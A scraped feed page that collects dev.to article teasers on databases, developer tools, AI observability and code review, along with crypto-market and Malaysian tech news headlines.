    Part 1: Setup Without Docker (Traditional Method) Why Cassandra with Django? Before we dive in, let's understand why you'd want to use Cassandra with Django: Cassandra strengths: Handles massive write-heavy workloads Linear scalability (add nodes, get more capacity) No single point of failure Perfect for time-series data, logs, IoT data Django + Cassandra use cases: Analytics platforms Real-time messaging systems IoT data collection Event logging systems Social media feeds Important note: Cassandra is NOT a replacement for PostgreSQL/MySQL for typical Django apps. Use it for specific high-scale scenarios. # Add Cassandra repository echo "deb https://debian.cassandra.apache.org 41x main" | sudo tee -a /etc/apt/sources.list.d/cassandra.sources.list # Add repository keys curl ht…  ( 12 min )
    Why OLSRT Could Be The Next Erlang/Elixir For Modern Systems?
    Hey Dev Community! Introduction Erlang and Elixir pioneered this space with their Actor-based model, powering telecom networks, messaging apps, and distributed databases. But they remain tied to the BEAM VM ecosystem. OLSRT (OverLab Streams Runtime) is a new attempt to bring the power of the Actor model into a standalone, a runtime that any language can use. It could be the next big step for distributed systems. Actor Model: The Heart of OLSRT Each Actor has its own state and mailbox. Actors communicate only via messages. No shared state → fewer race conditions. Natural parallelism and fault tolerance. This design makes systems easier to scale and more resilient to failure. Erlang & Elixir: The Inspiration Erlang was built for telecom systems requiring 99.999% uptime. Elixir moderniz…  ( 7 min )
    AI World Clocks
    Ever found yourself in a situation where you're supposed to join a meeting at 3 PM, but you have no idea if that means 3 PM your time, or the time in New York, or maybe even Tokyo? I remember the first time I had to coordinate across multiple time zones for a project. I felt like I was trying to solve a Rubik's Cube blindfolded! That’s where AI World Clocks come into play, and honestly, they’ve become a game-changer for me. So, what exactly is an AI World Clock? At its core, it's like your good old-fashioned wall clock that tells you the time in various parts of the world, but it’s supercharged with AI. These clocks can do more than just display hours; they can analyze your schedule, suggest optimal meeting times based on participants’ locales, and even account for daylight savings (which,…  ( 9 min )
    Games: achilles-1
    Achilles is a simulation, not really a game. In Achilles, the world is given an X coordinate, Z coordinate, number of food items and number of organisms. And the world evolves! Here is a screenshot of the evolution Here is the attack in progress. The program is written in C++ and uses OpenGL to display the world. The package that is present in many Linux operating systems does not behave the way we want. I had to check out the source code, and fix the bugs in the program. The source of the maintained version lives in GitHub here: https://github.com/orsenthil/achilles-1; there is a lifetime worth of learning concepts used by this simple program.  ( 6 min )
    How to Write Effective AI Prompts for Scientific Illustrations
    How to Write Effective AI Prompts for Scientific Illustrations In the age of AI-powered scientific illustration, the quality of your output depends entirely on the quality of your input. A well-crafted prompt can mean the difference between a publication-ready figure and a generic, unusable image. Through extensive testing and optimization, we've identified 8 core principles that consistently produce high-quality scientific illustrations suitable for journals like Nature, Science, and Cell. This guide will teach you exactly how to write prompts that generate professional academic figures. The difference between a mediocre and excellent scientific illustration often comes down to prompt specificity. Generic prompts like "create a cell diagram" produce generic results. Specific prompts wi…  ( 10 min )
    The truth about learning to code.
    The Hard Truth About Learning to Code (That No One Tells You) Hadil Ben Abdallah ・ Nov 13 #webdev #programming #productivity #learning  ( 5 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    CinemaSins’ latest video, “Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less,” gleefully nitpicks every dino resuscitation, jaw-dropping plot hole and over-the-top CGI moment—because apparently Jurassic keeps coming back and so do our sins. The description also hooks you up with their main site, YouTube spin-off channels, a sinful audience poll, Patreon support, and a shout-out to the writing squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel), plus all their social hangouts. Watch on YouTube  ( 6 min )
    AWS VPC: Security and Control from Scratch
    VPC Lab: Practical Fundamentals of Cloud Networking Virtual Private Clouds (VPCs) are the heart of any architecture on AWS. They are not just virtual networks: They are the foundation of the security, control, and scalability of your solutions. In this lab, you will learn to design and deploy a VPC from scratch, understanding each architectural decision and its impact on cost, security, and performance. VPC Lab: Practical Fundamentals of Cloud Networking 🔐Stage 1: From the AWS console, click on VPC to start building a new network. Step 1: From the AWS console, click on VPC to start building a new network. Step 2: Define the IPv4 CIDR block: 20.0.0.0/16. Step 3: Configure public and private subnets across different Availability Zones: 📌 This establishes the foundation of your networ…  ( 7 min )
    What is an e-commerce website and why do you need one?
    What is an e-commerce website and why do you need one? An e-commerce website is an online platform that allows you to sell your products or services directly to customers. This site is actually your online store that is open 24 hours a day, 7 days a week and has no geographical restrictions. Unlike a corporate website whose main purpose is to provide information, the main purpose of an e-commerce website is to conduct transactions. These websites are equipped with the necessary tools to manage products (such as adding, editing and categorizing products), process orders, manage inventory and, most importantly, receive online payments through banking portals. Buying an e-commerce website means building the main engine of your online business that can transform your sales. Main Options for “B…  ( 7 min )
    Finding My Writing Routine In The Quiet Hours Of The Cafe
    I never expected to become someone who writes. I always thought writing belonged to people with degrees or fancy notebooks or jobs with long lunch breaks. I work as a barista at a small cafe on the edge of town. Most of my days are loud, messy, and full of customers who really love arguing about milk options. Writing did not seem like it fit anywhere in my life. But life has this weird way of surprising you when you least expect it. Mine surprised me at 3:15 on a Tuesday afternoon. The cafe was empty except for two older men arguing about baseball. I had a few minutes to breathe, which almost never happens. I leaned on the counter, looked around, and felt this strange pull to write something down. Anything. Just to see how it felt. I tore a scrap of receipt paper from the machine and wrote…  ( 10 min )
    Dev Log 37 - Consolidated Update
    Consolidated Update Hi, to anyone still reading my logs, this log entry is a consolidation of some recent personal dev logs , consolidated as a single log for myself, so not much of a fun or exciting read. Fixed discard/resurrection and opener-swap bugs; Discard flow: true removal of runtime instances; no resurrection from loot or saves. InventoryStateManager: unregister-by-reference, compatibility shims, TryGetLiveItemByReference. Loot pickup: always instantiate fresh runtime clones and register them before adding to inventory. Equip logic: all entry points use TryEquipInventoryItemIfSlotEmpty to prevent Hands overwrite; tooltip remains open on blocked equip. Open flow: exact-slot replacement for opened items; apply opener damage only (no removal); preserve state copy from sealed → open…  ( 17 min )
    1. Definition of a “ready-made site” and its mechanism
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    Day 35: Python Morse Code Generator, Convert English Text to Morse with Full A-Z Mapping and Interactive Input
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    ROBLOX made me think I sucked at making games.
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    Meaning of passwordless authentication for beginners (and let's make it)
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    💼 Real-Time Collaboration: The Secret Weapon of Modern Project Management
    It started with a simple mistake — two people edited the same file at the same time. Hours of work vanished. Deadlines slipped. Tension rose. If you’ve ever worked in a team that shares documents, tasks, or ideas remotely, you’ve probably experienced this chaos. But here’s the truth: it doesn’t have to be that way. Welcome to the age of real-time collaboration in project management — where updates happen instantly, communication flows naturally, and teams move as one. ⚡ 🌍 The Shift from “Working Together” to “Working in Sync” Traditional collaboration was simple — emails, file attachments, and long meetings. But as teams became remote, those old systems broke down. Now, businesses rely on project management tools like Asana, Trello, ClickUp, and Notion. Yet even these can fall short if th…  ( 8 min )
    ✅ Task 1 — Initialize a Terraform project with backend and provider blocks
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    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) .
    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) & Cloud Studio 2.0 Kishore Karumanchi ・ Nov 15 #cloud #aws #architecture #mgn  ( 5 min )
    Architecting Large-Scale AWS Migrations Using AWS Application Migration Service (MGN) & Cloud Studio 2.0
    Introduction “Will the application work exactly the same after cutover?” AWS Application Migration Service (MGN) significantly simplifies rehosting, yet the architecture behind a scalable migration is where most projects struggle. In this blog, I will walk through how to architect large migrations using AWS MGN, combined with Cloud Studio 2.0, an accelerator that helps automate discovery, dependency mapping, and migration wave planning (Cloud Studio is a Wipro’s proprietary tool/ Platform, Instead of Cloud Studio tool you can use other third-party tools as well based on your requirement and use case, example Matilda etc.). These approaches come from real-world programs supporting enterprise customers transitioning hundreds of servers to AWS. 1. Migration Strategy: Why Rehost Still Matters …  ( 8 min )
    Issue #1: What is the Blockchain?
    Blockchain, web3, crypto. Terms that a lot of people use to refer to the same thing but they are quite different from each other while still being related. I decided to start a series on web3, Blockchain on particular, I am so much interested in this field and I am still learning, I want to share the little I know, so we can grow together. Most of what I will be sharing are middle-level to high level stuff, I just want those interested to have an idea of the concepts, you can always go further to learn more, without further ado, let's get started, shall we? Think of web3 as the decentralized internet, the same internet that your favorite websites and apps run on but with a twist. Rather than big tech companies running the show and "keeping" your data, you are in control. The Blockchain on the other hand, is the technology that powers web3, it is a decentralized ledger of connected computers (nodes) that store information where each node as its own copy of the ledger. It is "decentralized", meaning there is no single node that serves as the single source of truth for the entire Blockchain, the source of truth is that a majority of the nodes on the network have the same updated ledger. The ledger is a record that stores the state (fancy term for data) on the Blockchain, transactions can modify the state of the Blockchain. Anytime a transaction is sent, a node verifies that it is valid and adds it to its own copy of the Blockchain and then broadcasts it to other nodes on the network to add it to their respective copies, more on this in a future lesson. This way, a Blockchain is decentralized, permissionless and transparent. We will cover these concepts in next issue. Anticipate.  ( 6 min )
    Analytics Plugins That Reveal Hidden Support Bottlenecks
    Customer support is one of the most vital parts of any SaaS or service business — yet it’s often the most difficult to optimize. Your team might be answering tickets, tracking satisfaction scores, and closing conversations, but behind the scenes, support bottlenecks quietly eat up time, efficiency, and customer trust. The problem? Most analytics dashboards only show surface-level data — ticket volume, resolution time, and agent performance. What they don’t reveal is why issues keep repeating, where users struggle the most, or how internal workflows slow your team down. That’s where analytics plugins designed for support insight discovery come in. These tools don’t just measure — they interpret, connect, and highlight inefficiencies that traditional dashboards overlook. Let’s dig dee…  ( 10 min )
    UTF-8 Decoder — Turn Encoded Text Back Into Real Words 🧙‍♂️🔓
    If you’ve ever copied a URL parameter or data from an API and seen weird sequences like %E2%9C%93 or \u00E9, you know the pain of dealing with percent-encoded or UTF-8–encoded text. That’s where a UTF-8 Decoder comes to the rescue — it flips that encoded data back into readable, human-friendly text. With the UTF-8 Decoder from DevUtilX, you can quickly decode any percent-encoded or UTF-8–encoded string right in your browser — no back-and-forth, no weird glitches. A UTF-8 Decoder is a tool that takes text encoded in UTF-8 format — often seen in web contexts (like %C3%A9 for é) — and converts it back into actual characters. It’s especially helpful for reading data that’s been encoded in URLs, API responses, or form submissions. According to the tool’s own description, you can paste or type y…  ( 7 min )
    UTF-8 Encoder — Convert Text into the World’s Most Universal Encoding 🌍✨
    When working with web apps, APIs, or international content, one tiny thing can cause massive headaches: character encoding. Ever seen weird symbols like é or — popping up instead of normal characters? Yep… that’s an encoding issue — and UTF-8 is the hero that fixes it 🦸‍♂️. With the UTF-8 Encoder from DevUtilX, you can easily convert any text into safe, readable UTF-8 encoding. No errors, no weird symbols, just clean and compatible output every time. UTF-8 is the most widely-used character encoding in the world. It supports: English Emojis European characters Asian languages Special symbols Everything you can type… basically 😄 Websites, databases, APIs, and almost every modern system rely on UTF-8 for proper communication. If ASCII is a bicycle, UTF-8 is a Tesla 🚗⚡. Here’s why developers love using this tool: Converts any text to UTF-8 instantly Fixes broken text and weird characters Helps prevent database encoding issues Useful for APIs, JSON, HTML, URLs, logs, and more Zero setup — works directly in the browser It’s like having an encoding spell-checker 🪄🔤. Paste or type your text Click Encode Copy the clean UTF-8 output Use it safely anywhere That’s it. No terminal commands. No configuration. No encoding confusion 🙌. Fixing broken characters in JSON responses Cleaning text before storing it in databases Preparing multilingual content Encoding content for APIs Ensuring compatibility in web apps Repairing user-submitted content Any time text “looks weird,” the UTF-8 Encoder is your emergency button 🚨. Fix your encoding issues instantly: 👉 https://www.devutilx.com/tools/utf8-encoder DevUtilX provides 100+ free developer tools — formatters, converters, compressors, validators, generators, and more. It’s basically the developer version of a magical toolbox 🔧✨. Explore all tools here: 👉 https://www.devutilx.com/  ( 7 min )
    GZip Compressor — Shrink Your Files Like They’re on a Diet 🗜️🥗
    If you’ve ever tried sending or storing large files and felt like your server was screaming for help, then say hello to your new best friend: the GZip Compressor! This tool takes your bulky files, squeezes them like a stress ball, and gives you a tiny, lightweight version — all without losing any data. Developer magic at its finest 🪄✨. GZip is a widely used file compression format popular in web servers, APIs, static sites, and more. It works by removing repetitive patterns in your data and significantly shrinking file sizes. Think of it as vacuum-sealing your text files. Same content, way less space. Perfect for faster loading and happier servers 😌💨. Here are some reasons developers rely on GZip compression: Lightning-fast downloads Reduced bandwidth usage Faster website loading and better SEO Smaller backups and archive sizes Works exceptionally well for HTML, CSS, JS, JSON, XML, and other text-based formats If your website feels slow, GZip is basically its performance protein shake 💪🚀. Using the GZip Compressor is as simple as it gets: Paste your content or upload a file Click Compress Download your smaller GZip file instantly No CLI. No syntax. Zero complexity. Just efficient compression 🧘‍♂️. Compressing assets before deployment Reducing API response sizes Shrinking logs before archiving Speed-optimizing static websites Saving bandwidth on large text data transfers If it's text, GZip will squeeze it like a pro 🏆. Start compressing your files instantly: https://www.devutilx.com/tools/gzip-compressor DevUtilX provides 100+ free developer tools — from formatters to converters, compressors, encoders, beautifiers, debuggers, and way more. It’s basically the Swiss Army knife of developer utilities 🔧🧃. Explore all tools here: https://www.devutilx.com/  ( 7 min )
    The New AI Arms Race: How to Use GPT-4o and Google's Gemini to 10x Your Productivity
    The New AI Arms Race: How to Use GPT-4o and Google's Gemini to 10x Your Productivity The starting gun has fired, but most businesses don't even realize they're in a race. OpenAI's GPT-4o and Google's Gemini aren't just incremental updates; they are paradigm shifts in computational intelligence. While your competitors are treating these tools like novelties—generating clever emails or summarizing meeting notes—they are missing the strategic imperative. This isn't about playing with advanced chatbots. This is an arms race for efficiency, innovation, and market dominance. At Veltrex Labs, we don't just observe these technological shifts; we weaponize them for our clients. We see business leaders grappling with the potential of AI but struggling with the execution. They have the raw power of…  ( 11 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley walks us through his unlikely journey from eager student to champion of the Herbie Hancock Institute of Jazz Piano Competition, blending intense dedication with a fearless approach to harmony and rhythm. He demos the core of his style—lightning-fast runs, unorthodox voicings, and a fluid, story-driven sense of structure—that’s turning heads in the jazz scene. Along the way, he opens up about the trials, late-night breakthroughs, and wild experiments that shaped his signature sound. For anyone curious about where improvisational piano can go next, Jahari’s boundary-pushing techniques are a thrilling masterclass. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    In this Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan don their film buff hats to rewatch Brian De Palma’s ‘Snake Eyes,’ starring Nicolas Cage, Gary Sinise, and Carla Gugino. They riff on the movie’s slick noir vibe, over-the-top plot twists, and why this underappreciated thriller still slithers into cult-classic territory. Brought to you by PayPal, the trio even weaves in some holiday cash-back tips as they unpack political intrigue, 90s sound design flourishes, and all the other reasons ‘Snake Eyes’ deserves a second look. Watch on YouTube  ( 6 min )
    Understanding the Role of Context in AI Agent Responses
    TL;DR Context determines how AI agents interpret user intent, select tools, retrieve knowledge, and generate trustworthy outputs. Robust context management spans prompt design, retrieval augmented generation (RAG), conversation memory, and governance signals. Teams should instrument LLM-aware tracing, run offline and online evals, and use simulations to validate behavior across scenarios. Maxim AI’s Experimentation, Evaluation, Simulation, Observability, and Bifrost gateway help engineering and product teams operationalize context for reliable, scalable agents. See the lifecycle in the Platform Overview and product pages. Context is the substrate of agent intelligence. It includes user inputs, historical turns, instructions, retrieved knowledge, tool outputs, and environment constraints.…  ( 9 min )
    How AI Batch Background Removal Helps Non-Designers Create Professional Visuals
    Not everyone has the time or skill to master Photoshop. But in today’s digital world, everyone needs good visuals — whether you’re building a personal brand, designing social posts, or launching a small business. For non-designers, creating professional-quality graphics often feels overwhelming. You want your visuals to stand out, but without hiring a designer or spending hours learning tools. That’s where AI batch background removal steps in — helping creators, freelancers, marketers, and small businesses instantly clean, polish, and align their images in bulk with minimal effort. Let’s explore how this simple AI feature is changing the way non-designers create high-quality visuals at scale. Your visuals are the first thing people notice. A messy background, inconsistent lightin…  ( 9 min )
    Leveraging Distributed Tracing for AI System Performance Insights
    TL;DR Distributed tracing reveals end-to-end behavior of AI systems across models, tools, and retrieval steps, enabling faster debugging, cost/latency optimization, and continuous quality monitoring. By instrumenting LLM-aware spans, correlating traces with evaluations, and closing the loop into datasets, engineering and product teams gain actionable insights to improve agent reliability at scale. See Maxim’s tracing and observability foundations in the Tracing Overview and Agent Observability resources. Distributed tracing is the backbone of AI observability. For agentic and LLM applications, traditional logs and metrics are insufficient because reasoning, tool usage, retrieval steps, and prompt variations form complex trajectories that impact user outcomes. Tracing provides structured …  ( 13 min )
    Implementing Efficient Data Management for AI Evaluations
    TL;DR Platform Overview AI evaluations are only as strong as the data lifecycle behind them. Efficient data management requires consistent artifacts, reproducible evaluation pipelines, and a feedback loop from production. This article lays out a practical approach anchored by Maxim AI’s core components—Experimentation, Simulation, Evaluation, Observability, and Data Engine—so teams can quantify quality, detect regressions, and improve AI reliability without duplicating fragmented work. Explore the platform’s pillars and how they interoperate. Platform Overview A successful evaluation program starts with a shared artifact model and governance. Use versioned prompts, curated datasets, reusable evaluators, and standardized trace schemas that engineering and product can co-own. Prompts as firs…  ( 10 min )
    The Easiest Way to Build Auditable, Cryptographically-Secure Workflows.
    🛑 Stop "Trusting." Start Proving. A Look Under the Hood of Flowork's Crypto-Secure Automation. (This Ain't Your Grandma's Audit Log). Let's paint a picture. It's Monday morning. You're barely halfway through your coffee when a frantic message lands from the finance team. "Yo, that billing workflow from six months ago? It might've screwed up a huge batch of invoices. We need you to pull the exact logic that ran at 2:15 AM on October 27th. Like, now." If you're using a typical cloud automation tool, this is the "oh crap" moment. You can probably find the current workflow. You might even have a "version history" that says, "Admin User updated this." But can you mathematically prove that the version you're looking at is the exact, unaltered code that executed? Can you prove it to a pissed-o…  ( 14 min )
    The Story Behind Peaceful Night, a Calm Space for Tired Minds
    Many people struggle to sleep because of stress, screens, or constant noise around them. When I looked for an app that could help, most options felt complicated, distracting, or filled with ads. I wanted something simpler. Something peaceful. Something anyone could use instantly. That single thought led to the creation of Peaceful Night. Why This App Exists No ads. What Peaceful Night Offers • Rain Each sound is carefully selected to create a gentle and comfortable listening experience. The app also includes helpful features such as a Favorites list, adjustable volume, Light and Dark themes, and customizable font size. The goal is to let you tap once, listen, and relax. Early Steps, Steady Growth Try the App Peaceful Night: Soothing Sounds Download now on Google play If you enjoy using it, a rating or short review will help the app reach more people. Share Your Thoughts What kind of sound helps you relax the most? Rain, waves, forest, or something else? Share it in the comments. I would love to know.  ( 7 min )
    checkout this article on Customer Lifetime Value CLV: Origins, Importance, Models, and Real-Life Applications
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    AI Education Booms: The U.S. States Leading the New Talent Wave
    Everyone's talking about the AI degree boom, but the real opportunity is how this talent wave will reshape hiring, training, and growth across the US. Most see more programs. Few see the shift in demand. The map of talent is changing faster than your hiring plan. Master’s AI degrees nearly tripled in three years. The South now leads in programs, with Texas on top. The Midwest is quietly accelerating. Online degrees are exploding, and many are business-focused. This means graduates who can tie models to P&L, not just papers. Your advantage is no longer who you know on the coasts. It’s how quickly you unlock new pools and upskill your team. ☑ Example: A 600-person distributor in Houston hired three online AI grads and paired them with ops. They cut manual forecasting 35% in 60 days and lifted on-time delivery 8%. Simple changes, proven results. ↓ How to tap this shift in 90 days. • Map the new supply. ↳ Shortlist five programs in TX, FL, and NC plus two in the Midwest. • Recruit for outcomes, not tool lists. ↳ Ask for a shipped workflow, a dashboard, or a cost save. • Upskill internally. ↳ Sponsor one online capstone per team and rotate wins in demos. • Partner with schools. ↳ Offer a real dataset and get a ready-to-hire pipeline. ⚡ You’ll widen your funnel, lower cost per hire, and ship value faster. The talent map just flipped, and early movers will win. Have you seen this in your industry?  ( 6 min )
    Customer Lifetime Value CLV: Origins, Importance, Models, and Real-Life Applications
    Customer Lifetime Value (CLV) has evolved into one of the most important metrics in modern business strategy. Whether in retail, telecom, subscription services, banking, or e-commerce, companies rely on CLV to determine how valuable each customer is to the long-term growth of the business. More than a number, CLV represents a strategic lens through which companies can tailor marketing investments, design retention strategies, and allocate resources to maximize profit. This article explores the origins of CLV, explains its foundational concepts, examines its major calculation models, and presents real-world applications and case studies that show how businesses use CLV to outperform competitors. Origins of Customer Lifetime Value Academic contributions from marketing researchers such as Bla…  ( 10 min )
    Can Playwright vs Selenium Cut CI Time?
    Choosing the right automation tool decides how quickly teams find regressions; Playwright vs Selenium is not a trivial choice. This guide compares both frameworks across speed, stability, browser support, and CI friendliness. Playwright excels at fast parallel end-to-end tests with automatic waiting and rich tracing. Selenium, however, offers broad browser and language coverage for enterprise environments. Therefore teams often adopt a balanced portfolio that uses Playwright for modern UI paths. And they keep Selenium for legacy coverage and vendor grid compatibility. Because unstable suites and slow pipelines cost more than tool licenses, reliability matters most. As a result this article focuses on practical trade-offs, migration tips, and test design patterns. Read on to learn when to c…  ( 13 min )
    🚀 Angular HttpResource + Signals: The Modern Approach to API Development
    When building modern Angular applications, one of the most repetitive tasks is creating services, injecting HttpClient, writing CRUD methods, handling responses, and repeating the same patterns across modules. With Angular’s evolution toward standalone components and signals, the Angular team introduced a powerful new feature in Angular 18+: This blog explores what HttpResource is, why it exists, how to use it, and its advantages and limitations, with complete examples. 💡 What is Angular HttpResource? HttpResource is a new API inside @angular/common/http that automatically generates RESTful methods for an endpoint. Instead of creating a full HttpClient service like this: @Injectable({ providedIn: 'root' }) export class TodoService { private http = inject(HttpClient); list() { ret…  ( 8 min )
    DSA Fundamentals: Arrays & Strings - From Theory to LeetCode Practice
    Data Structures and Algorithms form the foundation of efficient programming. Today, we'll dive deep into Arrays and Strings - two fundamental data structures that appear in virtually every coding interview and real-world application. This comprehensive guide combines theoretical understanding with practical problem-solving, featuring solutions to essential LeetCode problems that demonstrate core concepts. Arrays are mutable (changeable) collections that store elements in contiguous memory locations, providing efficient random access. # Array mutability example A = [1, 2, 3, 4, 5] A[3] = 1 # Modify element at index 3 print(A) # Output: [1, 2, 3, 1, 5] Static Arrays: Fixed size at creation time To change size: copy all elements → create new array → paste elements Memory allocated at compi…  ( 13 min )
    Rendering 15 Million Moving Nodes in the Browser with WebGPU
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    An Introduction to LangChain
    If you are reading this blog, I am sure you have used ChatGPT and many other applications powered by LLMs As models like these continue to revolutionize AI applications, many of us are looking for ways to integrate these powerful tools into our applications and create robust, scalable systems out of them. It would be great if we have a chatbot that looks into its own database for answers, and goes out to refer to GPT for what it does not know. This is a simple example of crossing application development with LLMs. That is where, frameworks like LangChain help us - simplifying the process of creating applications powered by language models. LangChain is a Python and JavaScript framework designed for building applications that use language models (LLMs) as the backbone. It provides a str…  ( 9 min )
    checkout this article on Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications
    Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications Vamshi E ・ Nov 15 #webdev #ai #programming #blockchain  ( 5 min )
    Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications
    Machine learning is often perceived as the art of building predictive models—classification, clustering, regression, and more. But in reality, the accuracy and interpretability of these models depend far more on what goes into them rather than the algorithm used. And this is where feature selection becomes one of the most critical steps in the pipeline. Feeding the right set of features into a model can drastically improve accuracy, reduce overfitting, speed up training, and turn an opaque model into a transparent analytical tool. Feature selection lies at the heart of data preprocessing, a stage often more challenging and more impactful than model development itself. This article explores the origins of feature selection, explains the major feature selection techniques supported in R, and…  ( 10 min )
    Credential Optics Institutional Access: Competence is Authored, Not Conferred
    In security architecture, we timestamp clarity. Yet the industry still confuses credential optics with institutional access. Holding a cert doesn’t mean you’re “inside.” Building tooling doesn’t mean you’ll be evaluated. Both paths face the same gatekeeping. This post compresses that paradox into a refusal: competence is authored, not conferred. Outsiders assume credentials = institutional validation. Reality: credentials create optics without access. Both credentialed-excluded and uncredentialed-competent practitioners face the same dysfunction. II. The Division This Creates Take the exchange with GnomeMan4201:: five years of production security tooling, excluded before evaluation. Me: certifications earned independently (CompTIA A+ - CySA+, AWS, even a SANS scholar…  ( 7 min )
    Webinar Analytics Guide: Measure Success & Boost Performance
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    https://medium.com/@farhan.nasir01/top-7-mistakes-that-slow-down-wordpress-websites-and-how-i-fix-them-5b82a1434476
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    [Boost]
    Make AI Your Copilot, Not Your Autopilot Salauddin Omar Sifat ・ Nov 9 #ai #programming #learning #productivity  ( 5 min )
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    In every institution, we need to save guide company’ files and documents. That means, we need to have a dedicated shared storage in a high availability and safe zone where users can have access at any given time. Let’s discuss what Azure storage is: Azure Blob Storage? In short, Azure Blob Storage is the backbone for storing and managing unstructured data in the cloud, making it essential for modern applications that require scalability, durability, and global accessibility. 🌐 What Azure Blob Storage Is and what it does 📂 Here are Key Use Cases 🔒 Here are Key Benefits In today’s exercise: We will demonstrate how to Create Azure *Resource *Group (RG) and Azure Storage Account in Azure portal and sets policies on each resource. https://portal.azure.com/?l=en.en-gb#home Azure portal, sear…  ( 10 min )
    🚀 ThinkReview Is Now Open Source — and Now Supports Ollama for Local AI Code Review
    Three months ago, I started working on a small idea that sat quietly inside my browser: Today, I’m excited to share two big milestones: ✅ ThinkReview is now fully open source Ollama (local LLMs) If you’ve been following my earlier Dev.to posts, you know ThinkReview originally launched as a simple Chrome extension powered by cloud LLMs. It’s grown a lot since then — and the community asked for two things consistently: Open Source Local Model Support (Ollama) Both are finally here. ⚡️ New Feature: Ollama Support (Local LLM) Up to version 1.3.10, ThinkReview ran exclusively on cloud models. Starting with v1.4.0, you can now connect ThinkReview to Ollama and run ANY local LLM you want: Qwen Coder Llama 3 Codestral Deepseek Gemma Anything Ollama supports Why this matters: Your code never leaves your machine Zero API keys needed 100% free Great for companies with strict security/compliance Perfect for self-hosted GitLab users ⚙️ How to enable Ollama One-time setup: Stop any existing Ollama processes Restart Ollama with flags that allow Chrome extension access Go to ThinkReview settings → Test Connection and finally thats how it looks like To install the extension (open source) you can install directly from Chrome store https://chromewebstore.google.com/detail/thinkreview-ai-code-revie/bpgkhgbchmlmpjjpmlaiejhnnbkdjdjn works on Edge too and any chromium browser  ( 6 min )
    NPR Music: Pulp: Tiny Desk Concert
    Pulp stunned fans this spring by dropping More, their first album in nearly 25 years, then sauntered into NPR’s Tiny Desk to prove they’ve still got it. Frontman Jarvis Cocker and the gang kicked things off by holding hands backstage and deadpanning, “This will be the very best Tiny Desk,” before swaggering through a four-song set that spanned their career. They opened with the haunting “This Is Hardcore,” cranked out the jangly “Something Changed,” treated us to the fresh bittersweet vibes of “A Sunset,” and wrapped with the ’90s classic “Acrylic Afternoons”—all delivered with that trademark mix of wit, dance moves, and indie swagger that only Pulp can pull off. Watch on YouTube  ( 6 min )
  • Open

    Is 2025 Worse Than 2022 for Crypto? Nic Carter and McCordic Offer Opposing Views
    One camp frames 2025 as routine post-2022 consolidation, while another says attention has shifted to AI and clear crypto catalysts have thinned.  ( 33 min )
    Harvard Endowment Takes Rare Leap Into Bitcoin With $443M Bet on BlackRock's IBIT
    The investment, which accounts for 20% of Harvard's reported U.S.-listed public equity holdings, is notable.  ( 32 min )
    Alibaba to Use JPMorgan’s Blockchain for Tokenized Dollar and Euro Payments: CNBC
    The technology aims to expedite transactions and eliminate intermediaries, enabling the direct transfer of digital currencies over a blockchain-based system.  ( 32 min )
    State of Crypto: What's In the New Crypto Market Structure Draft?
    The Senate Agriculture Committee released a draft text for its version of market structure legislation.  ( 36 min )
    Crypto Market Slips Into ‘Extreme Fear’ After Bitcoin Fails to Hold $100,000 Level
    The sell-off is attributed to a combination of factors, including profit-taking, institutional outflows, macro uncertainty, and low liquidity.  ( 32 min )
    'Negative Skew': What It Is, Why It's Frustrating Bitcoin Bulls, and Why It Might Mean a Bottom is Near
    If it seems like bitcoin prices react particularly negatively to falling stocks, but don't do a whole lot when stocks fly higher, you're not imagining it.  ( 33 min )
    Tether Eyes $1B Investment in German Robotics Startup Neura: FT
    Neura aims to produce 5 million robots by 2030 and has already booked €1 billion in orders.  ( 32 min )
    Crypto Liquidity Still Hollow After October Crash, Risking Sharp Price Swings
    Despite calmer prices after October’s brutal leverage wipeout, bitcoin and ether market depth remains structurally thin, creating a more fragile trading environment.  ( 37 min )
  • Open

    TQ Wuling Updates Specfications Of Bingo EV Ahead Of Local Debut
    Remember TQ Wuling? It debuted back in May in the local market with the Bingo EV, which later made its first public appearance at the Malaysia Autoshow (MAS 2025). Recently, the specifications of the hatchback were updated on the automaker’s website. It seems that the Bingo will be arriving in the local market with two […] The post TQ Wuling Updates Specfications Of Bingo EV Ahead Of Local Debut appeared first on Lowyat.NET.  ( 34 min )
    U Mobile Secures RM4.3 Billion To Accelerate Nationwide Next Gen 5G Rollout
    U Mobile has secured RM4.3 billion in syndicated financing to fund its ongoing 5G expansion in Malaysia, marking one of the largest ringgit-denominated syndicated loans ever raised by an unlisted company. CIMB Investment Bank acted as the sole loan coordinator and joint mandated lead arranger, with CIMB Bank and CIMB Islamic Bank as financiers. Maybank […] The post U Mobile Secures RM4.3 Billion To Accelerate Nationwide Next Gen 5G Rollout appeared first on Lowyat.NET.  ( 35 min )
    You Can Get Acer’s Connect M6E 5G Mobile Wi-Fi For RM999
    Besides the Predator lineup the brand was bringing into Malaysia yesterday, Acer also announced the availability of its Connect M6E 5G Mobile Wi-Fi, its portable mobile hotspot device. We first saw the M6E earlier this year during IFA 2025. Acer says that its portable 5G Mobile Wi-Fi is capable of delivering up to 28 hours […] The post You Can Get Acer’s Connect M6E 5G Mobile Wi-Fi For RM999 appeared first on Lowyat.NET.  ( 34 min )
    Red Dead Redemption Coming To iOS And Android 2 December; Free On Netflix
    About a year ago, Rockstar Games released the PC port for Red Dead Redemption. Now, the company has announced that it will be bringing the game to mobile devices. Starting from 2 December 2025, both the game and its Undead Nightmare DLC will be available for compatible iOS and Android devices. The mobile versions of […] The post Red Dead Redemption Coming To iOS And Android 2 December; Free On Netflix appeared first on Lowyat.NET.  ( 34 min )

  • Open

    MindsEye x Google AI Stack, Part 2 — 200 Users, Ledgers as “Soft Blockchain”, and the OS Vision
